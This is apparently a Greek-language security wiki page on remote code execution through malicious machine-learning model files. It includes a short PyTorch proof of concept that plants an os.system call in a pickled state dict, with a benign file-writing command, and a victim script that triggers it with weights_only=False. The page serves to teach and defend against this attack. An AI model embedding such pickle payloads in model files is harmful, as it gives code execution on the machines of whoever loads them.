Models RCE

Reading time: 5 minutes

Loading models to RCE

Τα μοντέλα Μηχανικής Μάθησης συνήθως μοιράζονται σε διάφορες μορφές, όπως ONNX, TensorFlow, PyTorch, κ.λπ. Αυτά τα μοντέλα μπορούν να φορτωθούν σε μηχανές προγραμματιστών ή σε παραγωγικά συστήματα για να χρησιμοποιηθούν. Συνήθως, τα μοντέλα δεν θα πρέπει να περιέχουν κακόβουλο κώδικα, αλλά υπάρχουν περιπτώσεις όπου το μοντέλο μπορεί να χρησιμοποιηθεί για την εκτέλεση αυθαίρετου κώδικα στο σύστημα είτε ως προγραμματισμένη δυνατότητα είτε λόγω ευπάθειας στη βιβλιοθήκη φόρτωσης μοντέλων.

Κατά τη στιγμή της συγγραφής, αυτά είναι μερικά παραδείγματα αυτού του τύπου ευπαθειών:

Επιπλέον, υπάρχουν κάποια μοντέλα βασισμένα σε python pickle, όπως αυτά που χρησιμοποιούνται από PyTorch, που μπορούν να χρησιμοποιηθούν για την εκτέλεση αυθαίρετου κώδικα στο σύστημα αν δεν φορτωθούν με weights_only=True. Έτσι, οποιοδήποτε μοντέλο βασισμένο σε pickle μπορεί να είναι ιδιαίτερα ευάλωτο σε αυτού του τύπου επιθέσεις, ακόμη και αν δεν αναφέρονται στον πίνακα παραπάνω.

Παράδειγμα:

• Δημιουργήστε το μοντέλο:

# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")

• Φορτώστε το μοντέλο:

# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error